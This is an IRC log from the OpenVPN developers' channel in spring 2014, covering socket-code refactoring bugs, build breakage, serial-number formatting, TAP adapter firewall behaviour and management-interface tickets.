dante proxy 08:16 <@cron2> well, theoretically yes, but no, I'm not setting up even more hoops to test even more obscure parts of this :) 08:18 <@cron2> ok, what about set_actual_address() 08:18 <@cron2> you removed setting the af_ fields in "actual", and also removed those fields from the structure 08:18 <@cron2> but nobody else seems to be using them anyway? 08:19 <@plai> yeah 08:19 <@plai> only create_socket used them 08:19 <@plai> and I figured that it was more sane/clean to just call create_socket with addrinfo 08:19 <@cron2> indeed 08:20 <@cron2> is this also the fix for Tore's problem with --multihome, or was that yet another one? I lost track 08:20 <@plai> that --multihome stuff is in one of the patches 08:20 <@plai> lemme check which one 08:22 <@cron2> oh, and as a side note: I've added printing of the actual cmsg_* fields to your "CMSG received that cannot be parsed" message. If I ever get to see this message, I want to know what weird packet triggered it :) 08:24 <@plai> I did something with CMSG? 08:24 <@plai> oh yes I did 08:25 <@plai> and the multihome fix is this: 08:25 <@plai> - switch (to->ai_family) 08:25 <@plai> + switch (to->dest.addr.sa.sa_family) 08:25 <@cron2> such a small detail :-) - good 08:25 <@plai> yeah 08:26 <@plai> before the dual patches ai_familiy or proto udp/udp6 was always the same as the actual address family used 08:26 <@plai> and now it can be AF_UNSPEC 08:27 <@cron2> maybe that's what kills solaris as well. We'll see what buildbot says after I push this... 08:27 <@cron2> ok, conf call... 09:22 <@cron2> question to the group: --client-connect is synchronous, is it? So if that does a sleep(5), the openvpn server and all activity stops for 5 seconds? 09:41 <@plai> cron2: yeah 09:41 <@plai> it does 09:41 <@plai> the auth script does that too 09:41 <@plai> which our university discovered when teh ldap server was down 09:43 <@cron2> I thought so... just had a "can you help us debug weird openvpn problems?" call, and it turns out they had added a "sleep(3)" to the client-connect-script to work around some issues with routes injected into OSPF... 09:43 <@plai> connect new client => DOS on the on the server since the scripts waits 60s for an timeout and the clients drop 09:43 <@cron2> ... now the routes are no problem, but when 150 clients reconnect at 04:00 a.m., all hell breaks loose 09:43 <@plai> :) 09:43 <@cron2> "we didn't do anything bad but now it takes 1+ hour to stabilize!!!!" 09:46 <@cron2> maybe we really should bring back threads... one read socket->decrypt->write tun, one read tun->encrypt->write socket, one "handle new sessions" thread... 09:47 <@cron2> not that I know how do do things in a thread-save way... (or anyone else, looking at all the weird bugs in threaded programs) 10:06 <@cron2> mattock: buildbot says your debian-7 and fedora-19 buildslaves are offline... is that expected? 11:05 <@cron2> (and besides: could it be that the master is sleeping? I should have seen a few build failures by now...?) 11:24 <@cron2> oh. It helps if you actually push commits out :) 11:30 <@vpnHelper> RSS Update - gitrepo: Fix assert when using port-share <https://github.com/OpenVPN/openvpn/commit/f1da227574c6b2e3a75a38ac6f9a196be0ad3071> || Clean up of socket code. <https://github.com/OpenVPN/openvpn/commit/7dbe04de74ea01bd77461ec82253dd769381c711> 13:59 <@cron2> Solaris is still broken, as is --inetd. I'll go and hunt "soonish" 13:59 <@cron2> now my favourite hobby... doing lists for the tax office... *puke* 14:08 <+krzee> only difference between death and taxes is death does not get worse every time the government meets. 16:10 <@plai> cron2: :/ 16:10 <@plai> cron2: does it crash or give an assert? 16:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 17:07 <@cron2> plai: on Solaris, it asserts 17:08 <@cron2> Wed Mar 26 17:52:19 2014 TCP/UDP: Preserving recently used remote address: [AF_INET]199.102.77.82:51194 17:08 <@cron2> Wed Mar 26 17:52:19 2014 Assertion failed at socket.c:887 17:08 <@cron2> "something is strange there" 17:09 <@cron2> there is more that is looking funny: 17:09 <@cron2> Wed Mar 26 17:52:39 2014 ../tests/t_cltsrv-down.sh null 1500 1541 init 17:09 <@cron2> Wed Mar 26 17:52:39 2014 TCP/UDP: Preserving recently used remote address: 17:09 <@cron2> +[AF_INET6]::1:16000 17:09 <@cron2> Wed Mar 26 17:52:39 2014 Assertion failed at socket.c:887 17:10 <@cron2> where is "16000" coming from? Isn't it using 1500/1541? 17:10 <@cron2> but anyway, I'm going to debug that, just not right now 17:36 -!- dazo is now known as dazo_afk 20:05 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 20:13 -!- Netsplit *.net <-> *.split quits: +krzee, @dazo_afk 20:14 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:14 -!- mode/#openvpn-devel [+o pekster] by ChanServ 20:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 20:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 20:49 -!- ServerMode/#openvpn-devel [+ov dazo_afk krzee] by sendak.freenode.net --- Day changed Thu Mar 27 2014 02:05 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:05 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:05 -!- mattock_afk is now known as mattock 02:25 -!- mattock is now known as mattock_afk 03:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 03:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:05 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:14 -!- dazo_afk is now known as dazo 08:26 <@plai> cron2: yeah that is really strange ... 08:27 <@plai> that assert it is hitting is that the addrinfo given to create_socket is neither tcp or udp 08:27 <@dazo> plai: are we going to support openvpn over unix sockets? :-P 08:28 <@plai> dazo: maybe ;) 08:28 <@plai> dazo: with the dual stack patches in place it is not that diffcult to actually support that 08:30 <@dazo> At first, I thought it was a stupid idea ... until I realised some people might be crazy enough to write their own "transport code" ... which could just read/write from a unix socket ... not sure how good idea it is in the reality though 08:31 <@plai> well I think I could implement that 08:32 <@plai> But we already have too much code, anyone barely uses 08:32 <@dazo> :) 08:32 <@dazo> lets pick it up *if* someone has a real use case for it :) 08:33 <@plai> sctp is a more likely candidate than unix sockets ... 08:33 <@dazo> agreed 08:34 <@dazo> but just adding support to sctp without making use of the extended features in sctp is also just "useless" 08:36 <@dazo> (multi-homing is probably the most interesting thing for VPN users) 08:49 <@plai> yeah 08:49 <@plai> but multipath tcp will probably win against sctp 08:49 <@plai> even though sctp is the better protocol 08:49 <@plai> since multipath tcp is backwards compatible 11:25 <@plai> *sigh* my app managed to have race condition for the management interface 11:58 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: AF_INET -> AF_INET6] 11:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 11:58 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:03 -!- mattock_afk is now known as mattock 13:12 -!- mattock is now known as mattock_afk 16:03 -!- dazo is now known as dazo_afk --- Day changed Fri Mar 28 2014 01:19 <@vpnHelper> RSS Update - tickets: #383: tls_serial_{n} is provided in decimal <https://community.openvpn.net/openvpn/ticket/383> 02:01 -!- mattock_afk is now known as mattock 04:49 <@plai> I looked at 383 04:49 <@plai> the reporter seems to be right 04:50 <@plai> openvpn does BN_bn2dec instead BN_bn2hex 04:50 <@plai> the manpage states that it is hex 04:59 <@plai> 7d5e26c introduces the wrong man page and the wrong OSCP script 04:59 <@plai> so this bug has been there since v2.2-RC 05:08 <@cron2> time to fix it for 2.3.3 :-) - can you send a patch and get it acked from syzzer? ;-) 05:13 -!- dazo_afk is now known as dazo 05:14 <@plai> cron2: I am one step ahead 05:15 <@cron2> lol 05:16 <@cron2> oh, so you keep the decimal format, and update the man page. I thought you were going for "make it hex, to correspond to the docs" 05:25 <@plai> cron2: well that would chnage the behaviour that has been there since 2.1.0 05:28 <@plai> and I rather change the documentation instead of breaking existing script which have been around for ages 05:31 <@cron2> good argument 05:35 <@mattock> introduction to Finnish conjugation: http://m.imgur.com/QFm6SCE 05:35 <@vpnHelper> Title: imgur: the simple image sharer (at m.imgur.com) 05:38 <@dazo> mattock: good one! :) 05:38 <@mattock> yep :) 05:39 <@cron2> the german one is wrong anyway 05:40 <@cron2> mattock: is that real? what is that all? 05:40 <@mattock> yes it's real 05:41 <@mattock> although in practice nobody uses the more complex forms, because they have very little use 05:41 <@mattock> but technically they're correct 05:41 <@mattock> the number of forms explodes because you use postfixes to add meaning to the words, and you can combine the postfixes 05:41 <@mattock> so it looks pretty ridiculous if you combine too many postfixes 05:42 <@mattock> -> lunch 05:42 <@cron2> combinatory explosion! 05:42 <@cron2> just like OpenVPN build options! 05:42 <@dazo> lol 05:43 <@dazo> no wonder mattock got interested in openvpn :-P 06:13 <@plai> and Swedish sounds like they have actually more forms than German 07:37 <+krzee> lol 09:26 <@mattock> fortunately nobody has to build software with as many options as there are Finnish conjugations 09:26 <@mattock> oh wait... 09:26 <@mattock> although those forms only cover nouns 12:20 <@cron2> syzzer: could you ACK plai's patch, please? ;-) 15:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:43 <@plai> cron2,mattock: do you actually test openvpn with --disable-crypto in the buildbots? 15:54 <@plai> my patches broke compling _without_ enable_socks and enable_http_proxy 15:55 <@plai> binary size on osx/amd64 is 40k difference 848k vs 889k 15:55 <@plai> should I send a patch to fix the ifdef or send a patch to remove the ifdefs? 15:58 <@plai> ENABLE_SMALL is broken too :D 16:02 <@plai> ENABLE_DEBUG may not be enabled if ENABLE_SMALL is 1 16:20 <@cron2> plai: I think one of the buildbots does --disable-crypto, yes. 16:21 <@cron2> yep, --disable-crypto --disable-ssl --disable-management 16:22 <@plai> cron2: oh okay 16:22 <@cron2> I'd opt for removing the #ifdef for socks and http proxy (though I find 40k fairly much, tbh) 16:25 <@plai> interesting client is only 5k 16:25 <@plai> client nat 16:25 <@plai> and it is enabled always anyway 16:54 <@plai> cron2: hm maybe I should compile not with -g and -O0 when doing these size comparisons 16:59 <@plai> init.c:495:2: error: #else without #if 16:59 <@plai> yeah :) 17:02 <@plai> cron2: diable-management does not compile for me and I am pretty that this time I am at fault :) 17:02 <@pekster> -Os might be relevent for embedded platforms too, fwiw 17:07 <@plai> pekster: same on OS X for gcc 17:07 <@plai> as in 3 years ago :) 17:08 <@plai> when there was a true gcc on OS X 17:09 <@pekster> In reality I suspec the vast majority of users are running -O2 except empbedded that tends to use -Os, then a few oddballs that run -O1 or -O3 17:09 <@pekster> Plus that wise-ass who runs -O99 ;) 17:10 <@plai> pekster: Apple gcc had -O2 as -Os 17:11 <@plai> altough a few -Os options were disable 17:11 <@plai> and real -Os was -Oz 17:13 -!- dazo is now known as dazo_afk 17:45 <@plai> d12fk: http://code.google.com/p/tunnelblick/issues/detail?id=246 17:45 <@vpnHelper> Title: Issue 246 - tunnelblick - Add a --setenv IV_GUI_VER when calling OpenVPN - OpenVPN GUI for Mac OS X - Google Project Hosting (at code.google.com) 17:45 <@plai> now its your turn :p --- Day changed Sat Mar 29 2014 04:14 <@cron2> plai: oh, cool :-) (tunnelblick) 04:15 <@cron2> plai: as for the --disable-management - I wonder why it doesn't bomb out in the buildbots... 18:49 <@syzzer> sorry, had to NACK the patch. PolarSSL builds do use hex representation... 23:36 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 23:43 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:43 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Mar 30 2014 04:06 -!- omrib [~omrib@unaffiliated/omri] has joined #openvpn-devel 06:26 <@plai> syzzer: no problem 06:28 * cron2 wonders whether anyone is actually using this, so "how many installations are we going to break if we fix the code to adhere to the documentation"? 06:28 * cron2 doesn't want #ifdef SSL_OPENSSL in the manpage either 06:34 <@plai> the ticket mentions that betwen 2.1 and 2.2 it was hex in openssl aswell 06:34 <@plai> I might have misread the code 06:34 <@cron2> dazo might know more, this smells like eurephia bits 06:38 <@cron2> *sigh* 06:38 <@cron2> --inetd works for me, if compiled without -O2. If compiled *with* -O2, it crashes in addrlist_match(), but gdb is actively non-helpful in figuring out where the problem is... 06:38 <@cron2> (gdb) where 06:38 <@cron2> #0 addrlist_match (addrlist=<optimized out>, a1=<optimized out>) 06:45 <@cron2> Mar 30 13:45:33 gentoo openvpn[31159]: a1=0x7fff158b3b50, addrlist=0x4800000063 06:46 <@cron2> mmmh 06:47 <@cron2> fun 06:48 <@cron2> if compiled without -O2, addrlist_match() is not even called... 06:48 <@cron2> "this smells of uninitialized variables" 06:49 <@cron2> socket.c:197:7: warning: suggest parentheses around arithmetic in operand of '|' [-Wparentheses] 06:49 * cron2 pokes plai 06:50 <@cron2> "don't bring in more warnings" 06:52 <@cron2> argh 06:52 <@cron2> argh, argh 06:52 <@cron2> struct addrinfo* ai; 06:52 <@cron2> if(remote_dynamic) 06:52 <@cron2> openvpn_getaddrinfo(0, remote_dynamic, NULL, 1, NULL, 06:52 <@cron2> remote_verify.addr.sa.sa_family, &ai); 06:52 <@cron2> if(ai && !addrlist_match(&remote_verify, ai)) 06:52 <@cron2> so what is "ai" if remote_dynamic is false...? 06:56 <@cron2> gotcha 07:11 <@vpnHelper> RSS Update - tickets: #384: OpenVPN-GUI : password defaults to RTL (right-to-left) <https://community.openvpn.net/openvpn/ticket/384> 07:12 <@cron2> so, this itch is scratched \o/ 07:36 <@plai> cron2: yeah. :/ 07:37 <@plai> that is probably one of corner cases I missed 07:38 <@cron2> given the amount of refactoring you did in socket.c, it's unsurprising that some obscure cases break... but that's what we have the test infrastructure for :) 07:39 <@plai> yeah 08:47 <@syzzer> cron2, plai: the hex -> decimal change has been introduced by pulling in changes from James' SVN branch, so I guess he is using this in AS or something 08:48 <@cron2> syzzer: huh. So let's check with James... 08:48 <@vpnHelper> RSS Update - gitrepo: Fix crash when using --inetd. <https://github.com/OpenVPN/openvpn/commit/1ba6f427d3ea361b9859cff9cbf4d1887240ed6f> 08:49 <@syzzer> back in 2011 btw 08:49 <@cron2> yeah, that's about the time when dazo decided "no more svn pulls, use git or go away" :) 08:51 <@syzzer> heh, sounds like a wise decision 15:50 <@cron2> syzzer: which commit was that? --- Day changed Mon Mar 31 2014 01:45 <@syzzer> cron2: 20b18fd799e2ea9d0651f3ef913dd9ce2e481471 01:50 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:50 -!- mattock_afk is now known as mattock 03:02 <@plai> syzzer, cron2: I am out of that discussion, that seems so easy to fix on the glance but opened a can of worms 03:19 -!- dazo_afk is now known as dazo 03:21 <@plai> *sigh* 03:21 <@plai> If you think you have seen everything 03:22 <@plai> topology net30, cdd and push ifconfig 10.0.0.92 10.0.0.91 03:22 <@plai> .92 and .91 are from different net30 03:23 <@d12fk> plai: challenge accepted =) 03:24 <+krzee> iirc that should work fine 03:27 <@plai> yeah 03:28 <@plai> you happen to need to parse that stuff like I do 04:35 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 04:39 <@cron2> syzzer: ouch, one of the mega-merges 04:39 < LordDrako> d12fk: I'm back :-) 09:48 -!- Hes [axZtxWS@tunkki.fi] has joined #openvpn-devel 09:58 <@dazo> cron2: that was a small and cute merge .... 576dc96ca1ef1badb6 was the bad one (which I still have nightmares from) 09:59 <@cron2> dazo: that's the one with the route explosion? 09:59 <@dazo> yeah 10:00 <@dazo> route.c | 1293 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------------------------------------------- 10:23 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 10:24 <@plai> d12fk: last time I fixed a strange network config I was 95% confident that I had implemented all corners. This time I am only about 80% sure 14:11 -!- dazo is now known as dazo_afk 15:23 -!- mattock is now known as mattock_afk 15:38 * cron2 has to fix strange networks all day :) 16:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 16:05 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:05 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:06 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 16:07 -!- raidz is now known as raidz_away 16:08 -!- raidz_away is now known as raidz 16:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 265 seconds] 16:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Tue Apr 01 2014 02:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:53 -!- rf5 [~r@unaffiliated/rf5] has joined #openvpn-devel 02:53 -!- rf5 [~r@unaffiliated/rf5] has left #openvpn-devel [] 03:09 -!- mattock is now known as mattock_afk 07:05 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 08:11 < LordDrako> d12fk any news? 08:12 <@cron2> you scared him away 08:13 < LordDrako> that was not my intention 08:19 <@vpnHelper> RSS Update - gitrepo: configure.ac: use CPPFLAGS for SSL_OP_NO_TICKET check <https://github.com/OpenVPN/openvpn/commit/e38f554cd4b956f6eedd56c7a76a3ba7c84ad824> 08:47 <@vpnHelper> RSS Update - gitrepo: fix route struct name <https://github.com/OpenVPN/openvpn/commit/60b40a58c4caaeb5c5aa8d402020414d3ba05050> 09:14 <@cron2> mattock: your builders are unhappy --- Log closed Tue Apr 01 10:01:20 2014 --- Log opened Tue Apr 01 10:01:35 2014 10:01 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:01 -!- Irssi: #openvpn-devel: Total of 20 nicks [11 ops, 0 halfops, 1 voices, 8 normal] 10:01 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 10:02 -!- Irssi: Join to #openvpn-devel was synced in 40 secs 10:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Operation timed out] 10:02 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Read error: Operation timed out] 10:03 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 10:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:09 <@cron2> why are my buildbots failing basic tun ping6 tests, all of a sudden? 10:09 <@cron2> grrr 10:35 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 10:39 <@cron2> yay, leftover tun3 device with some spurious ipv6 routes pointing to it, breaking the test that uses *that* network... *rolleyes* 14:56 <@cron2> Test sets succeded: 1 1a 2 2b 3 4 5 8 9. 14:56 <@cron2> Test sets failed: none. 14:57 <@cron2> yay 14:57 <@cron2> this is how it should look like - my automated server tests pass all tests, against 2.3, master/openssl and master/polarssl clients 15:18 -!- mattock_afk is now known as mattock 16:15 < ender|> would it make sense for TAP-Win32 setup to set *NdisDeviceType to NDIS_DEVICE_TYPE_ENDPOINT? i had to do this manually a few times to get Windows Firewall to ignore the tap adapter, and allow inbound connections 16:19 <@pekster> Surely the firewall configuration/API can do that without mucking about with adapter properties? 16:20 < ender|> Windows sees the network adapter is on as "Unidentified", which means it refuses to move it from the Public group, and you can only configure the firewall properties for the entire group 16:21 <@pekster> You can adjust that, and you don't need to do screwy things like mess with device flag bitmask defines to do it 16:21 < ender|> how? i searched around, but this was the only solution i found 16:22 <@pekster> No clue offhand; I remember I had to open about 4 windows to do it via the UI. There's probably an API for it too, but I've never bothered to learn 16:22 <@pekster> (probably some ugly cmdlet for it to..) 16:24 < ender|> the only other way around i know of is if the computer is connected to domain network through OpenVPN - in that case the adapter will get assigned to Domain network, but this isn't always feasible 16:25 < ender|> (read: client bought 11 all-in-one machines with Windows 8 Core that need to be connected to their primary location) 16:37 <@pekster> Then you need to go digging and learn how to do network config on your platform. Under the UI in Windows 7 it's control panel -> network and sharing center -> "View your basic network information and set up connections" -> "View your active networks" -> clickable link -> set new zone type 16:38 <@pekster> As I said above, I'm sure there's an API for it too, I just don't know it 16:45 < ender|> which clickable link do you mean? because none of the links there allow me to assign TAP connections anywhere 16:46 < ender|> if you mean "Public network" (which usually is clickable), that doesn't work for TAP adapters for some reason 16:47 < ender|> i've read that it has something to do with the TAP adapter not having a default gateway set 16:49 < ender|> (i don't want to redirect all traffic through OpenVPN) --- Day changed Wed Apr 02 2014 02:02 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 02:35 <@cron2> mornin' 02:35 * cron2 won't object to configuring the TAP adapter differently, if someone provides patches to the installer (->mattock). Ideally, for the new NDIS6 tap driver :) 03:18 <@plai> yeah 03:18 <@plai> I got a NACK from syzzer and an ACK from James 03:47 <@cron2> yeah, that thread is all interesting :-) 03:47 -!- mattock is now known as mattock_afk 03:47 * cron2 waits for syzzer to wake up and start crying 06:32 -!- You're now known as ecrist 07:28 -!- mattock_afk is now known as mattock 07:37 * syzzer dreams on... 07:52 <@cron2> syzzer: what would be needed to elicit a decimal serial number from polar? 07:53 <@cron2> (gotcha) 07:59 < LordDrako> I really seem to have scared d12fk away :/ 08:02 * d12fk is just busy 08:03 <@d12fk> paid work gets in the way 08:07 < LordDrako> :D 08:08 <@syzzer> cron2: the easy option (at least on the short term) is to duplicate the function we're now calling to retrieve the serial, and replace the %x in the snprintf for a %u... 08:08 <@cron2> so the only public API function right now is "return a ready-made string that was filled with %u"? 08:08 <@cron2> how big is that function, like 5 lines of code, or 100? 08:09 <@cron2> d12fk: tell your paid work that they benefit from code review on the iservice! 08:13 <@syzzer> cron2: %x, but yeah. I's just about 20 lines iirc, so not too bad. But since we're not using the APIs I wouldn't be suprised of that broke regularly on upgrades. 08:14 <@syzzer> even though APIs can't be assumed to be stable with polar either 08:16 <@syzzer> but what surprised me is that janjust's script relies on the hex serial output of the openssl cmdline tools 08:16 <@cron2> syzzer: I was about to say that :-) - so maybe this the way to go, for the time being. Update the doc (= ACK to plaisthos' patch), and make both backends go serial 08:17 <@cron2> yeah, janjust's mail confused me, tbh. He calls it "decimal" but points to "xx:xx:xx"... 08:39 <@plai> stupid move: providing me with an account to test their VPN 08:39 <@cron2> like, enterprise, private data, all that? 08:39 <@plai> and then sending me (and all other users of the service) an announcement of their GPL violating client 08:40 <@cron2> bwahaha 08:40 <@plai> my client shines through there ... 08:40 <@plai> without me having to disassemble it 08:47 <@plai> OpenVPN 2.4-icsopenvpn64 08:48 <@plai> I should add an "built by $USER" 08:48 <@plai> so it will show "built by arne" :D 09:10 <@plai> X.509, CN=Morten Slott Hansen, OU=CitizenVPN, O=Skytte Media 09:10 <@plai> got you :D 10:39 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 12:31 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 255 seconds] 12:38 -!- Netsplit *.net <-> *.split quits: @vpnHelper, Hes 13:34 -!- riddle [riddle@76.72.170.57] has quit [Ping timeout: 245 seconds] 15:26 -!- mattock is now known as mattock_afk 15:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 16:09 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 16:09 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Thu Apr 03 2014 01:35 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 02:02 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 02:31 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o cron2] by ChanServ 06:25 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 06:37 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:44 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 06:48 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:49 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 06:52 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:52 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:09 -!- _bt [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 08:09 < _bt> hello guys 08:10 < _bt> i'm trying to solve this bug myself http://community.openvpn.net/openvpn/ticket/131 08:10 <@vpnHelper> Title: #131 (client management interface user authentication abort inconsistency) – OpenVPN Community (at community.openvpn.net) 08:10 < _bt> can anyone give me information on GET_USER_PASS_NOFATAL? 08:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 09:46 -!- dazo_afk is now known as dazo 09:50 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has quit [Quit: Verlassend] 10:16 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:17 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:17 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 10:17 -!- mattock_afk is now known as mattock 12:06 <@dazo> _bt: AFAICS, GET_USER_PASS_NOFATAL tries to avoid openvpn from exiting when it needs to retrieve user/pass via the management interface 12:08 <@dazo> _bt: this one might be a tricky one to fix ... as you need to ensure the SIGHUP handler doesn't change the state of the 'management hold' 12:09 <@dazo> 'management hold' is, afaik, to make sure openvpn doesn't try to continue doing anything before a management interface have connected 12:10 <@dazo> In the demo case (added by samuli), the management interface is connected (via telnet) ... so a SIGHUP should preferably keep the management connection open, and continue where it was before 12:12 <@mattock> this discussion must be related to some bug report 12:12 <@dazo> an easier way around it could be to kick out the management interface (if you read the man page carefully, it says "closes all [...] network connections" ... however, I think that's a bit too brutal. If a complete reset is needed, it should jump back right after the 'hold release' 12:12 <@mattock> I only recall using the management interface once and it had something to do with reproducing a bug 12:12 <@mattock> :) 12:12 <@dazo> mattock: http://community.openvpn.net/openvpn/ticket/131 12:12 <@vpnHelper> Title: #131 (client management interface user authentication abort inconsistency) – OpenVPN Community (at community.openvpn.net) 12:13 <@mattock> ah yes, that one 16:33 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:47 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 265 seconds] 17:50 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:50 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:12 -!- dazo is now known as dazo_afk --- Day changed Fri Apr 04 2014 01:15 -!- mattock is now known as mattock_afk 01:17 -!- mattock_afk is now known as mattock 02:25 -!- LordDrako [~felix@dslb-188-102-182-084.pools.arcor-ip.net] has joined #openvpn-devel 02:25 < LordDrako> hi guys, hi d12fk :-) 02:26 <@cron2> hiya :) 03:05 <@mattock> now we're talking... the NDIS 6 driver now works with topology net30 03:06 <@mattock> I'll merge the NSI code from the tap-windows project to tap-windows6 so that we can get proper installer also 03:12 <@plai> just shooting in the dark: does the ndis6 driver work for windows rt? 03:37 < _bt> dazo_afk: mattock: what i am trying to do is gracefully handle ping restarts via the management interface, since i'm using OTP i need to request a new token. after a ping restart, the management interface is put in a state requesting auth that i cannot recover from 03:49 <@mattock> plai: I doubt it 03:54 <@mattock> isn't Windows RT arm-based? 03:55 <@mattock> the NDIS 6 driver is strictly Intel 03:58 <@cron2> mattock: cool! 03:58 <@cron2> (as far as RT goes, one might have to recompile, then...) 04:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:58 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 07:34 <@mattock> uh, integrating parts from James and parts from Alon's tap-windows buildsystems makes my head hurt 07:38 <+krzee> hey mattock is there any way you can make it so when someone goes to http://openvpn.net/faq.html#dhcpclientserv it forwards to http://openvpn.net/index.php/open-source/faq/community-software-client/259-tap-win32-adapter-is-not-coming-up-qinitialization-sequence-completed-with-errorsq.html 07:38 <@vpnHelper> Title: FAQ Community Software (at openvpn.net) 07:38 <@mattock> krzee: don't think so, because the #dhcpserv thing is done on the client-side 07:39 <@mattock> so the whole FAQ would have to be forwarded 07:39 <@mattock> I mean the #dhcpserv is an anchor which is interpreted by the browser when it has already loaded the page 07:39 <+krzee> ouch right 07:40 <@plai> do #anchors surive redirects? 07:40 <@mattock> although we decided to move the FAQ away from openvpn.net anyways 07:40 <@mattock> plai: not sure 07:40 <+krzee> mattock, right, but that link still exists in peoples logs 07:40 <@mattock> actually, I think I did migrate the FAQ to community already 07:40 <@mattock> yep 07:40 <@plai> my tests say they do 07:41 <@plai> question is if the wiki can be convinced to create heading with id="anchor" 07:41 <@mattock> yeah, it's here: https://community.openvpn.net/openvpn/wiki/FAQ 07:41 <@vpnHelper> Title: FAQ – OpenVPN Community (at community.openvpn.net) 07:42 <@plai> client already has a #Client id 07:42 <@plai> https://community.openvpn.net/openvpn/wiki/FAQ#Server 07:42 <@vpnHelper> Title: FAQ – OpenVPN Community (at community.openvpn.net) 07:43 <@plai> !icsopenvpn 07:43 <@plai> !android 07:43 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If running cyanogenmod, 